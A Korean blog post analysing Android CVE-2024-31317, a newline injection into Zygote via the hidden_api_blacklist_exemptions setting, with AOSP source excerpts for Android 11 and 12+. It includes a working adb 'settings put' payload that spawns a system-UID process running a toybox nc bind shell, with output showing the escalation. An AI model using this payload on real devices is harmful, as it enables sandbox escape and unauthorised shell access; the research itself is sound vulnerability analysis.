CVE-2024-31317 Zygote Command Injection

CVE-2024-31317 Zygote Command Injection

2025년 2월 17일

ref #


CVE-2024-31317 #

안드로이드 앱은 기본적으로 샌드박스 환경에서 실행되어 루트 권한이 아닌 이상 다른 앱의 데이터 폴더 등에 접근할 수 없게 되어있다.

이 취약점은 hidden_api_blacklist_exemptions 전역 설정 값이 Zygote 가 실행하는 앱 프로세스의 인자로 전달될 때 파싱이 잘못되어 해당 인자의 영역을 벗어나 --setuid 등의 추가 인자를 전달할 수 있는 취약점이다.

이로인해 Zygote로 실행되는 앱의 UID 를 변경하여 샌드박스를 탈출할 수 있게된다.

2024년 6월 보안패치에서 취약점이 제거되었다.

이 공격을 재현하려면 hidden_api_blacklist_exemptions 설정이 가능한 WRITE_SECURE_SETTINGS 권한이 필요하기 때문에 안드로이드 플랫폼 키로 서명된 시스템 앱을 만들거나 adb를 사용하면 된다.

다른 취약점을 추가로 사용해서 권한을 얻거나, 일부 제조사에서는 이 권한을 획득하는 방법을 열어놓은 경우도 있다고 한다(확인은 안해봄). 일반 앱에서는 이 권한을 AndroidManifest.xml에 추가해도 무시된다.


Zygote에 전달되는 명령 구조 #

SystemServer에서 대략적으로 아래처럼 앱 실행 명령요청이 Zygote로 전달될 수 있으며, 스트림 소켓이기 때문에 그냥 포맷만 맞춰서 계속 보낼 수 있다.

 18                              [command #1 arg count]
 2--runtime-args                 [arg #1: vestigial, needed for process spawn]
 3--setuid=10266                 [arg #2: process UID]
 4--setgid=10266                 [arg #3: process GID]
 5--target-sdk-version=31        [args #4-#7: misc app parameters]
 6--nice-name=com.facebook.orca
 7--app-data-dir=/data/user/0/com.facebook.orca
 8--package-name=com.facebook.orca
 9android.app.ActivityThread     [arg #8: Java entry point]
103                              [command #2 arg count]
11--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
12LClass1;->method1(             [args #2, #3: denylist entries]
13LClass1;->field1:

ZygoteServer 에서 명령어 받기 #

Zygote는 runSelectLoop 함수에서 소켓으로 받은 데이터를 파싱하여 명령어를 실행한다.

1Runnable runSelectLoop(String abiList) {
2    // poll 방식으로 리슨 소켓을 감시하다가 연결 요청이 들어오면 연결해준다.
3    // 연결된 소켓에서 데이터가 들어오면 명령을 처리한다. 
4    // ...
5        command = connection.processOneCommand(this);
6}

취약점 분석 (~AOS 11) #

SystemServer #

안드로이드 글로벌 세팅 중 “hidden_api_blacklist_exemptions” 설정이 업데이트될 때 SystemServer에서 update 함수가 실행되는데, Zygote 싱글톤 프로세스에 세팅값을 리스트 형태로 전달한다.

 1// ActivityManagerService.java
 2static class HiddenApiSettings extends ContentObserver
 3        implements DeviceConfig.OnPropertiesChangedListener {
 4    private void update() {
 5        // 현재 HIDDEN_API_BLACKLIST_EXEMPTIONS 글로벌 설정값 가져오기
 6        String exemptions = Settings.Global.getString(mContext.getContentResolver(),
 7                Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
 8        if (!TextUtils.equals(exemptions, mExemptionsStr)) {
 9            mExemptionsStr = exemptions;
10            if ("*".equals(exemptions)) {
11                mBlacklistDisabled = true;
12                mExemptions = Collections.emptyList();
13            } else {
14                // , 구분자로 잘라서 리스트화
15                mBlacklistDisabled = false;
16                mExemptions = TextUtils.isEmpty(exemptions)
17                        ? Collections.emptyList()
18                        : Arrays.asList(exemptions.split(","));
19            }
20            // Zygote Singleton 객체에 인자 전달
21            if (!ZYGOTE_PROCESS.setApiBlacklistExemptions(mExemptions)) {
22                Slog.e(TAG, "Failed to set API blacklist exemptions!");
23                // leave mExemptionsStr as is, so we don't try to send the same list again.
24                mExemptions = Collections.emptyList();
25            }
26        }
27        mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
28    }

전달받은 인자를 mApiBlacklistExemptions 에 넣고, 넣은 데이터를 –set-api-blacklist-exemptions 옵션으로 미리 연결해둔 Zygote의 소켓에 보내고 응답(status)을 확인한다.

 1public class ZygoteProcess {
 2    public boolean setApiBlacklistExemptions(List<String> exemptions) {
 3        synchronized (mLock) {
 4            mApiBlacklistExemptions = exemptions;
 5            boolean ok = maybeSetApiBlacklistExemptions(primaryZygoteState, true);
 6            if (ok) {
 7                ok = maybeSetApiBlacklistExemptions(secondaryZygoteState, true);
 8            }
 9            return ok;
10        }
11    }
12
13    @GuardedBy("mLock")
14    private boolean maybeSetApiBlacklistExemptions(ZygoteState state, boolean sendIfEmpty) {
15        if (state == null || state.isClosed()) {
16            Slog.e(LOG_TAG, "Can't set API blacklist exemptions: no zygote connection");
17            return false;
18        } else if (!sendIfEmpty && mApiBlacklistExemptions.isEmpty()) {
19            return true;
20        }
21        try {
22            // size\n--set-api-blacklist-exemptions\n{arg1}\n{arg2}\n... 형태로 전송
23            state.mZygoteOutputWriter.write(Integer.toString(mApiBlacklistExemptions.size() + 1));
24            state.mZygoteOutputWriter.newLine();
25            state.mZygoteOutputWriter.write("--set-api-blacklist-exemptions");
26            state.mZygoteOutputWriter.newLine();
27            for (int i = 0; i < mApiBlacklistExemptions.size(); ++i) {
28                state.mZygoteOutputWriter.write(mApiBlacklistExemptions.get(i));
29                state.mZygoteOutputWriter.newLine();
30            }
31            state.mZygoteOutputWriter.flush();
32            int status = state.mZygoteInputStream.readInt();
33            if (status != 0) {
34                Slog.e(LOG_TAG, "Failed to set API blacklist exemptions; status " + status);
35            }
36            return true;
37        } catch (IOException ioe) {
38            Slog.e(LOG_TAG, "Failed to set API blacklist exemptions", ioe);
39            mApiBlacklistExemptions = Collections.emptyList();
40            return false;
41        }
42    }

Zygote에서는 소켓에서 인자를 읽을때 먼저 연결을 허용한 후 버퍼를 읽어서 readArgumentList 를 호출해 인자를 파싱한다.

결국 설정 값을 업데이트하면 HiddenApiSettings 설정 값에서 , 를 기준으로 스플릿하고 Zygote의 --set-api-blacklist-exemptions 옵션으로 전달할 뿐이다.

입력 데이터에 대해 개행을 검증하는 부분은 없고, Zygote는 개행을 기준으로 소켓으로 받은 데이터를 구분하기 때문에 --set-api-blacklist-exemptions에 개행을 넣어 Zygote가 다른 파라미터로 해석하도록 만들 수 있기 때문에 Zygote Command Injection이 가능하게 된다.


ZygoteServer #

Zygote와 SystemServer의 연결 소켓은 계속 열어두기 때문에 루프 한번에 하나의 커맨드 단위 argc\nargvs\n...씩 처리되지만 명령어가 한꺼번에 들어온 경우에도 다 처리될때까지 루프를 돌면서 처리한다.

 1// ZygoteServer.java
 2Runnable runSelectLoop(String abiList) {
 3    while (true) {
 4        pollReturnValue = Os.poll(pollFDs, pollTimeoutMs);
 5        if (pollReturnValue == 0) {
 6        } else {
 7            command = connection.processOneCommand(this);
 8        }
 9    }
10}
11
12// ZygoteConnection.java
13Runnable processOneCommand(ZygoteServer zygoteServer) {
14    String[] args;
15    // 소켓에서 첫 라인을 argc로 생각하고 하나의 커맨드 만큼만 읽어온다.
16    args = Zygote.readArgumentList(mSocketReader);
17    ZygoteArguments parsedArgs = new ZygoteArguments(args);
18}

위에서 설명한 것처럼 HiddenApiSettings의 파라미터 검증 미흡(개행검증미흡?)으로 인해 다음 poll 루프에서 처리될 명령어까지 전송하면 아래처럼 보내진다.

465caf7b-4cec-42ec-b729-07429242523e

첫번째 명령을 파싱하는 부분을 살펴보면 ZygoteArguments::parseArgs 에서 주석으로 단독실행 명령이라고 적혀있고, 문자열 형태로 전달한 블랙리스트 API 리스트를 파싱하는 것을 볼 수 있다.

애초에 args는 하나의 커맨드만큼만 소켓에서 읽어왔기 때문에 다음 runSelectLoop에서 읽어올 두번째 명령은 남아있다.

 1// ZygoteArguments.java
 2// args: 소켓으로 받은 하나의 커맨드만큼의 파라미터
 3for ( /* curArg */ ; curArg < args.length; curArg++) {
 4    String arg = args[curArg];
 5    // ...
 6    } else if (arg.equals("--set-api-blacklist-exemptions")) {
 7        // 나머지 파라미터를 모두 소모합니다. 
 8        // 이것은 독립형 명령이며, 일반적인 fork 명령에 포함되지 않습니다.
 9        // 첫번째 커맨드의 argc에 적힌만큼 전부 소비됨
10        mApiBlacklistExemptions = Arrays.copyOfRange(args, curArg + 1, args.length);
11        curArg = args.length;
12        expectRuntimeArgs = false;
13    } 
14}

두번째 루프에서 아직 명령어가 남아있기 때문에 poll이 true를 반환하고, 다음 14줄짜리 명령어가 처리된다.

다음 명령어는 지정한 UID, GID로 프로세스를 생성하는 명령이다.
invoke-with를 지정하면 바로 다음 인자를 mInvokeWith에 저장하고 execApplication을 호출하며 몇가지 파싱인자를 전달한다.

 1// ZygoteArguments.java
 2} else if (arg.equals("--invoke-with")) {
 3    mInvokeWith = args[++curArg];
 4}
 5
 6// ZygoteConnection.java
 7// fork 이후 fork된 자식 프로세스 처리하는 함수
 8private Runnable handleChildProc(ZygoteArguments parsedArgs,
 9        FileDescriptor pipeFd, boolean isZygote) {
10    closeSocket();
11    Zygote.setAppProcessName(parsedArgs, TAG);
12
13    // End of the postFork event.
14    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
15    if (parsedArgs.mInvokeWith != null) {
16        WrapperInit.execApplication(parsedArgs.mInvokeWith,          // mInvokeWith 
17                parsedArgs.mNiceName, parsedArgs.mTargetSdkVersion,  // mNiceName, mTargetSdkVersion
18                VMRuntime.getCurrentInstructionSet(),
19                pipeFd, parsedArgs.mRemainingArgs);     // ZygoteArguments에서 남은 인자는 mRemainingArgs에 저장
20    } else {
21        if (!isZygote) {
22            return ZygoteInit.zygoteInit(parsedArgs.mTargetSdkVersion,
23                    parsedArgs.mDisabledCompatChanges,
24                    parsedArgs.mRemainingArgs, null /* classLoader */);
25        } else {
26            return ZygoteInit.childZygoteInit(parsedArgs.mTargetSdkVersion,
27                    parsedArgs.mRemainingArgs, null /* classLoader */);
28        }
29    }
30}

원래의 invoke-with는 디버깅용 래퍼 프로그램(strace, logwrapper, 혹은 커스텀스크립트) 을 전달하고, 래퍼 프로그램에서 인자로 전달받은 app_process를 실행시키는 구조이다.
Zygote가 예상하던 구조는 <wrapper 프로그램> app_process64 <app_process64의 args...> 이런 구조이다.

 1public static void execApplication(String invokeWith, String niceName,
 2        int targetSdkVersion, String instructionSet, FileDescriptor pipeFd,
 3        String[] args) {
 4    StringBuilder command = new StringBuilder(invokeWith);
 5
 6    final String appProcess = "/system/bin/app_process64";
 7    command.append(' ');
 8    command.append(appProcess);
 9
10    // invoke-with로 실행하면 JIT(Just-In-Time) 디버깅 정보가 강제로 포함된다. 
11    command.append(" -Xcompiler-option --generate-mini-debug-info");
12
13    command.append(" /system/bin --application");
14    if (niceName != null) {
15        command.append(" '--nice-name=").append(niceName).append("'");
16    }
17    command.append(" com.android.internal.os.WrapperInit ");
18    command.append(pipeFd != null ? pipeFd.getInt$() : 0);
19    command.append(' ');
20    command.append(targetSdkVersion);
21    Zygote.appendQuotedShellArgs(command, args);
22    preserveCapabilities();
23    Zygote.execShell(command.toString());
24}

여기에서 실행되는 명령어는 대충 아래의 형태이며, 예시 사진에서는 toybox로 쉘을 열어둔 후 ;로 명령의 끝을 나타내서 이후 커맨드를 무시한다.

1/system/bin/sh -c <invoke-with> /system/bin/app_process64 \
2  -Xcompiler-option --generate-mini-debug-info \
3  /system/bin --application \
4  '--nice-name=<nice-name>' \
5  com.android.internal.os.WrapperInit <pipeFd> <targetSdkVersion> <args...>

취약점 분석 (AOS 12~) #

AOS 12 부터 ZygoteServer가 받은 데이터를 처리할때 몇가지 부분이 변경되면서 취약점을 트리거하기 어려워졌다.

SystemServer → ZygoteServer (runSelectLoop)

SystemServer에서 변경된 점 #

hidden_api_blacklist_exemption 을 세팅하면 동일하게 update 함수가 호출되면서 Zygote 에게 전송한다. 대신 함수 이름이 setApiDenylistExemptions 로변했고, 서버에서 받는 데이터는 --set-api-denylist-exemptions 로 변경됐다.

 1private void update() {
 2    String exemptions = Settings.Global.getString(mContext.getContentResolver(),
 3            Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
 4    if (!TextUtils.equals(exemptions, mExemptionsStr)) {
 5        mExemptionsStr = exemptions;
 6        if ("*".equals(exemptions)) {
 7            mBlacklistDisabled = true;
 8            mExemptions = Collections.emptyList();
 9        } else {
10            mBlacklistDisabled = false;
11            mExemptions = TextUtils.isEmpty(exemptions)
12                    ? Collections.emptyList()
13                    : Arrays.asList(exemptions.split(","));
14        }
15        // size\n--set-api-denylist-exemptions\n_arg1_\n_arg2_\n
16        if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
17            Slog.e(TAG, "Failed to set API blacklist exemptions!");
18            mExemptions = Collections.emptyList();
19        }
20    }
21    mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
22}

서버 처리에서 변경된점 #

processOneCommand 함수가 processCommand 함수로 변경되어 반복문에서 여러 명령어를 처리할 수 있도록 수정됐다.
이전 코드에서는 인자 파싱할때 String[] -> ZygoteArguments 형태로 변경됐지만 AOS 12부터는 ZygoteCommandBuffer -> ZygoteArguments 로 변경됐다.

파싱 후에는 기존 방식과 동일하게 Zygote를 fork 하고 pid를 SystemServer에 응답하는 등의 작업을 한다.

 1// ZygoteConnection.java
 2Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
 3	ZygoteArguments parsedArgs;
 4
 5    // 소켓에서 데이터를 전부 읽어서 argBuffer로 저장
 6	try (ZygoteCommandBuffer argBuffer = new ZygoteCommandBuffer(mSocket)) {
 7        // 명령어를 전부 읽을때까지 반복
 8		while (true) {
 9            // 명령어 한세트 파싱 (파싱 이후엔 argBuffer는 다음 명령어를 가리킴)
10			parsedArgs = ZygoteArguments.getInstance(argBuffer);
11
12			// 파싱한 인자 사용하기 (생략)
13            if (parsedArgs.mBootCompleted) {
14                handleBootCompleted();
15                return null;
16            }
17            // mApiDenyListExemptions 가 세팅된 경우 탈출
18            if (parsedArgs.mUsapPoolStatusSpecified
19                    || parsedArgs.mApiDenylistExemptions != null
20                    || parsedArgs.mHiddenApiAccessLogSampleRate != -1
21                    || parsedArgs.mHiddenApiAccessStatslogSampleRate != -1) {
22                break;
23            }
24            // Zygote 프로세스 fork
25            // peer는 연결된 소켓의 Uid를 확인한다. SystemServer가 요청했으니 System권한이다.
26			if (parsedArgs.mInvokeWith != null || parsedArgs.mStartChildZygote
27					|| !multipleOK || peer.getUid() != Process.SYSTEM_UID) {
28				pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,
29						parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,
30						parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,
31						fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,
32						parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,
33						parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,
34						parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,
35						parsedArgs.mBindMountAppStorageDirs);
36			} else {
37				ZygoteHooks.preFork();
38				Runnable result = Zygote.forkSimpleApps(argBuffer,
39						zygoteServer.getZygoteSocketFileDescriptor(),
40						peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
41			}
42		}
43
44// ZygoteArguments.java
45// hidden_api_blacklist_exemptions를 argCount 만큼만 파싱한다. 
46} else if (arg.equals("--set-api-denylist-exemptions")) {
47    // consume all remaining args; this is a stand-alone command, never included
48    // with the regular fork command.
49    mApiDenylistExemptions = new String[argCount - curArg - 1];
50    ++curArg;
51    for (int i = 0; curArg < argCount; ++curArg, ++i) {
52        mApiDenylistExemptions[i] = args.nextArg();
53    }
54    expectRuntimeArgs = false;
55} 

인자 파싱하는 함수들 #

ZygoteServer는 SystemServer와 통신하는 소켓에서 얻은 데이터를 ZygoteCommandBuffer에 저장하는데 이 버퍼는 native 단에서 컨트롤되는 버퍼이다.

인자를 파싱하는 함수도 확인해보면 결국엔 nativeNextArg 함수를 호출한다.

 1// ZygoteArguements.java
 2private ZygoteArguments(ZygoteCommandBuffer args, int argCount)
 3		throws IllegalArgumentException, EOFException {
 4	parseArgs(args, argCount);
 5}
 6
 7private void parseArgs(ZygoteCommandBuffer args, int argCount)
 8		throws IllegalArgumentException, EOFException {
 9	for ( /* curArg */ ; curArg < argCount; ++curArg) {
10		// 버퍼에서 nextArg를 호출하면서 하나씩 파싱하고 포인터를 이동시킨다. 
11		String arg = args.nextArg();
12	}
13    // ...
14}
15
16// ZygoteCommandBuffer.java
17class ZygoteCommandBuffer implements AutoCloseable {
18    private long mNativeBuffer;
19
20    // 생성자에서는 mNativeBuffer에 소켓의 native 데이터 버퍼를 저장한다.
21    // 이 네이티브 버퍼의 처리 방식때문에 공격이 정상적으로 전달되지 않았다.
22    ZygoteCommandBuffer(@Nullable LocalSocket socket) {
23        mSocket = socket;
24        if (socket == null) {
25            mNativeSocket = -1;
26        } else {
27            mNativeSocket = mSocket.getFileDescriptor().getInt$();
28        }
29        mNativeBuffer = getNativeBuffer(mNativeSocket);
30    }
31
32    String nextArg() {
33        try {
34            return nativeNextArg(mNativeBuffer);
35        } finally {
36            Reference.reachabilityFence(mSocket);
37        }
38    }
39
40    // 네이티브 버퍼는 jni(c/c++) 단에서 컨트롤된다. 
41    private static native String nativeNextArg(long /* NativeCommandBuffer* */ nbuffer);
42    private static native long getNativeBuffer(int fd);
43    private static native void freeNativeBuffer(long /* NativeCommandBuffer* */ nbuffer);
44}

NativeBuffer #

nativeNextArg 함수는 인자 하나를 읽어오는 함수이고, readLine을 호출해서 연결된 소켓의 데이터를 가져온다.

MAX_COMMAND_BYTES(12200byte) 만큼 read하고 읽은 데이터 안에 개행이 있다면 개행까지만 잘라서 pair로 묶어 리턴한다. 다음 호출때 버퍼에 아직 리턴하지 않은 데이터가 남아있다면 마찬가지로 개행을 기준으로 리턴한다.

 1// core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp
 2// 하나의 커맨드에 대한 argc를 읽어오는 nativeGetCount도 사실 동일하다. 
 3jstring com_android_internal_os_ZygoteCommandBuffer_nativeNextArg(JNIEnv* env, jclass,
 4                                                                  jlong j_buffer) {
 5  NativeCommandBuffer* n_buffer = reinterpret_cast<NativeCommandBuffer*>(j_buffer);
 6  auto fail_fn = std::bind(ZygoteFailure, env, n_buffer->niceNameAddr(), nullptr, _1);
 7  auto line = n_buffer->readLine(fail_fn);
 8  if (!line.has_value()) {
 9    fail_fn("Incomplete zygote command");
10  }
11  auto [cresult, endp] = line.value();
12  *endp = '\0';
13  jstring result = env->NewStringUTF(cresult);
14  *endp = '\n';
15  return result;
16}
17
18// 한번 read할때 최대 크기
19constexpr size_t MAX_COMMAND_BYTES = 12200;
20constexpr size_t NICE_NAME_BYTES = 50;
21
22// 고정된 최대 버퍼 사이즈 씩 읽고 한 라인이 완성되면 라인 시작포인터와 끝 포인터를 pair로 묶어서 리턴
23template<class FailFn>
24std::optional<std::pair<char*, char*>> readLine(FailFn fail_fn) {
25  char* result = mBuffer + mNext;
26  while (true) {
27    // 현재 읽은 데이터가 끝인경우
28    if (mNext == mEnd) {
29      if (mEnd == MAX_COMMAND_BYTES) {
30        return {};
31      }
32      if (mFd == -1) {
33        fail_fn("ZygoteCommandBuffer.readLine attempted to read from mFd -1");
34      }
35      // 최대 MAX_COMMAND_BYTES (12기준 12200) 만큼 읽어온다. 
36      ssize_t nread = TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd));
37      if (nread <= 0) {
38        if (nread == 0) {
39          return {};
40        }
41        fail_fn(CREATE_ERROR("session socket read failed: %s", strerror(errno)));
42      } else if (nread == MAX_COMMAND_BYTES - mEnd) {
43        fail_fn("ZygoteCommandBuffer overflowed: command too long");
44      }
45      mEnd += nread;
46    }
47    // 개행문자 찾기
48    char* nl = static_cast<char *>(memchr(mBuffer + mNext, '\n', mEnd - mNext));
49    if (nl == nullptr) {
50      // 개행이 없다면 소켓에서 다음 데이터를 읽어서 개행을 다시 찾아본다. 
51      mNext = mEnd;
52    } else {
53      // 개행 있으면 개행 다음 오프셋(다음 라인 시작)을 mNext에 저장
54      mNext = nl - mBuffer + 1;   
55      if (--mLinesLeft < 0) {
56        fail_fn("ZygoteCommandBuffer.readLine attempted to read past mEnd of command");
57      }
58      // 라인 시작지점, 끝지점 포인터 묶어서 리턴 
59      return std::make_pair(result, nl);
60    }
61  }
62}

취약점이 트리거되지 않는 이유 #

AOS 11에서 취약점 사용했던 방식을 정리해보자.
hidden_api_blacklist_exemptions 설정을 하면 update가 옵저버의 콜백으로 호출되며 Zygote에 명령어를 전달한다.
이때 Zygote에 전달된 명령은 설정변경 외에도 앱프로세스 생성 요청까지 전달하게되고 Zygote가 두번에 걸쳐 두 명령 모두 실행하게된다.

AOS 12에서는 처음에 hidden_api_blacklist_exemptions 설정했을 때 nextArg(사실은 getCount)를 거쳐 readLine이 호출되고, 소켓에서 MAX_COMMAND_BYTES 만큼 읽어온 후 네이티브 버퍼에서 개행기준으로 잘라서 리턴해준다.

연속적으로 보낸 두번째 커맨드까지 읽어왔는데, processCommand에서 처리하지 않고 반복문을 나가게 된다.

 1Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
 2    ZygoteArguments parsedArgs;
 3    try (ZygoteCommandBuffer argBuffer = new ZygoteCommandBuffer(mSocket)) {
 4        while (true) {
 5            try {
 6                parsedArgs = ZygoteArguments.getInstance(argBuffer);
 7                // Keep argBuffer around, since we need it to fork.
 8            } catch (IOException ex) {
 9                throw new IllegalStateException("IOException on command socket", ex);
10            }
11
12            if (parsedArgs.mApiDenylistExemptions != null) break;
13        }
14    // VMRuntime에 exemptions 들을 세팅
15    if (parsedArgs.mApiDenylistExemptions != null) {
16        return handleApiDenylistExemptions(zygoteServer, 
17                   parsedArgs.mApiDenylistExemptions);
18    }

이때 문제가 되는건 argBuffer이다. 이녀석은 processCommand 에서 생성한 지역변수인데, 아무 작업도 하지 않고 나가기 때문에 객체가 사라지게 되고, ZygoteCommandBuffer는 AutoCloseable 을 상속받기 때문에 try를 벗어나자마자 자동으로 close가 호출된다.

 1//  ZygoteCommandBuffer.java
 2class ZygoteCommandBuffer implements AutoCloseable {
 3    private long mNativeBuffer;
 4
 5    // 생성자에서 네이티브 버퍼를 가져온다. 
 6    ZygoteCommandBuffer(@Nullable LocalSocket socket) {
 7        mSocket = socket;
 8        if (socket == null) {
 9            mNativeSocket = -1;
10        } else {
11            mNativeSocket = mSocket.getFileDescriptor().getInt$();
12        }
13        mNativeBuffer = getNativeBuffer(mNativeSocket);
14    }
15    private static native long getNativeBuffer(int fd);
16
17    // close 에서 freeNativeBuffer 함수를 호출한다. 
18    @Override
19    public void close() {
20        freeNativeBuffer(mNativeBuffer);
21        mNativeBuffer = 0;
22    }
23    private static native void freeNativeBuffer(long /* NativeCommandBuffer* */ nbuffer);
24}
25
26// -----------------------------------------------
27// com_android_internal_os_ZygoteCommandBuffer.cpp
28constexpr size_t MAX_COMMAND_BYTES = 12200;
29constexpr size_t NICE_NAME_BYTES = 50;
30static int buffersAllocd(0);
31
32class NativeCommandBuffer {
33  uint32_t mEnd;  // Index of first empty byte in the mBuffer.
34  uint32_t mNext;  // Index of first character past last line returned by readLine.
35  int32_t mLinesLeft;  // Lines in current command that haven't yet been read.
36  int mFd;  // Open file descriptor from which we can read more. -1 if none.
37  char mNiceName[NICE_NAME_BYTES];
38  char mBuffer[MAX_COMMAND_BYTES];
39}
40
41jlong com_android_internal_os_ZygoteCommandBuffer_getNativeBuffer(JNIEnv* env, jclass, jint fd) {
42  CHECK(buffersAllocd == 0);
43  ++buffersAllocd;
44  // MMap explicitly to get it page aligned.
45  void *bufferMem = mmap(NULL, sizeof(NativeCommandBuffer), PROT_READ | PROT_WRITE,
46                         MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0);
47  if (bufferMem == MAP_FAILED) {
48    ZygoteFailure(env, nullptr, nullptr, "Failed to map argument buffer");
49  }
50  return (jlong) new(bufferMem) NativeCommandBuffer(fd);
51}
52
53void com_android_internal_os_ZygoteCommandBuffer_freeNativeBuffer(JNIEnv* env, jclass,
54                                                                  jlong j_buffer) {
55  CHECK(buffersAllocd == 1);
56  NativeCommandBuffer* n_buffer = reinterpret_cast<NativeCommandBuffer*>(j_buffer);
57  n_buffer->~NativeCommandBuffer();
58  if (munmap(n_buffer, sizeof(NativeCommandBuffer)) != 0) {
59    ZygoteFailure(env, nullptr, nullptr, "Failed to unmap argument buffer");
60  }
61  --buffersAllocd;
62}

  1. SystemServer에서 --hidden_api_blacklist_exemptions 와 함께 악의적인 app fork 명령을 포함해 전송한다.
  2. AOS12에서는 ZygoteCommandBuffer를 사용하도록 변경됐고, 이 버퍼는 최대 12200 바이트를 소켓에서 한꺼번에 읽어온다.
  3. ZygoteServer의 processCommand 함수는 --hidden_api_blacklist_exemptions 명령을 처리할때 argc만큼만 읽고 break, return 되어 함수가 종료된다.
  4. 함수가 종료되면서 AutoCloseable 상속에 의해 close 함수가 자동으로 호출되고 freeNativeBuffer가 호출되며 버퍼에 남아있던 두번째 명령어가 함께 증발하게 된다.

Attack #

toybox nc #

안드로이드 기기는 toybox 명령에 nc도 포함되어 있다. 이 명령은 안드로이드 기준 127.0.0.1:1234 로 연결하면 /systme/bin/sh 을 실행시켜주는 명령어이다.

adb forward로 윈도우의 12340 포트와 안드로이드의 1234 포트를 연결해준다.

android shell의 권한과 동일하기 때문에 다른 앱의 경로에는 접근할수가 없다.

 1# android 기기
 2taimen:/ $ toybox nc -s 127.0.0.1 -p 1234 -L "/system/bin/sh" -l
 3
 4# windows
 5C:\Users\gmds>adb forward tcp:12340 tcp:1234
 6C:\Users\gmds>nc 127.0.0.1 12340
 7id
 8uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
 9
10ls -la /data/data/com.facebook.katana
11ls: /data/data/com.facebook.katana: Permission denied

~AOS 11 에서 권한상승 #

공격 자체는 아주 쉽다. adb 접근 후 아래 명령을 입력하기만 하면 된다.

setgroups 의 3003 그룹은 inet으로, nc로 포트를 열어둘 때 사용되는 권한이다.
권한을 여러개 넣고싶겠지만 --set-api-blacklist-exemptions 인자를 파싱할 때 , 를 기준으로 자르기 때문에 의도치않게 , 문자는 사용할 수 없다.

 1# android 기기
 2taimen:/ $ id 3003
 3uid=3003(inet) gid=3003(inet) groups=3003(inet) context=u:r:shell:s0
 4
 5taimen:/ $ settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
 614
 7--runtime-args
 8--setuid=1000
 9--setgid=1000
10--runtime-flags=43267
11--mount-external-full
12--target-sdk-version=29
13--setgroups=3003
14--nice-name=testzyg
15--seinfo=platform      # 시스템권한은 platform으로 안하면 zygote SELinux 매칭에러 발생. 일반앱 띄울땐 default 가능
16--invoke-with
17/system/bin/sh -c 'toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l;'
18--instruction-set=arm
19--app-data-dir=/data/
20android.app.ActivityThread"

두번째 명령루프에서 포트가 열리기 때문에 처음엔 연결이 안되지만, 조금 기다려보면 연결된다.

하지만 앱이 실행되는 로직에서 실행됐기 때문에 SELinux의 컨텍스트가 system_app이라서 자기 자신의 앱 경로 외에는 읽기 권한이 없다.

 1# windows
 2PS C:\workspace\ISSUE> adb forward tcp:12340 tcp:1234
 3PS C:\workspace\ISSUE> nc 127.0.0.1 12340
 4PS C:\workspace\ISSUE> nc 127.0.0.1 12340
 5
 6id
 7uid=1000(system) gid=1000(system) groups=1000(system),3003(inet) context=u:r:system_app:s0
 8
 9ls -la /data/local/tmp
10ls: /data/local/tmp: Permission denied
11
12ls -la /data/data/com.android.settings
13total 48
14drwx------   4 system system  4096 2025-07-15 15:26 .
15drwxrwx--x 235 system system 20480 2025-07-15 15:26 ..
16drwxrws--x   2 system system  4096 2025-07-15 15:26 cache
17drwxrws--x   2 system system  4096 2025-07-15 15:26 code_cache
18
19pwd
20/
21df
22Filesystem                                             1K-blocks    Used Available Use% Mounted on
23/dev/root                                                2578748 2467608     94756  97% /
24tmpfs                                                    1874976     952   1874024   1% /dev
25tmpfs                                                    1874976       0   1874976   0% /mnt
26/dev/block/dm-1                                           503276  324996    168204  66% /vendor
27tmpfs                                                    1874976       0   1874976   0% /apex
28
29ps
30USER            PID   PPID     VSZ    RSS WCHAN            ADDR S NAME
31system         7862      1 10773464  2436 inet_csk_accept     0 S toybox
32system         7888   7862 10771048  1884 SyS_rt_sigsuspend   0 S sh
33system         8927   7888 10773464  2428 0                   0 R ps

AOS 12~ 에서 권한상승 #

AOS 12 이상의 기기에서 이 취약점을 트리거하려면 한번 더 생각해야한다.

AOS 11과 동일하게 하나의 global setting 명령으로 Zygote가 두개의 명령어로 인식할 수 있도록 해야한다. 하지만 12200byte씩 읽어와서 개행 단위로 처리하고 명령 하나 실행 후 버퍼의 나머지 데이터는 버려져서 트리거가 안됐었다. (사실 두개가 동시에 데이터가 전송된 상황에서 한번의 읽기로 나머지가 버려지는건 버그에 가깝다)


첫번째 아이디어와 또다른 문제 #

ZygoteServer에서 최대 읽기 크기는 AOS12에서 12200byte, AOS13부터 32768byte로 AOS 버전에따라 크기가 달라진다.
그렇다면 AOS12 기준으로 settings hidden 명령을 총 12200byte 크기로 만들고, 진짜 앱 실행 명령은 그 이후에 배치해서 한번에 Write하면 해결될 것 같기도 하다.

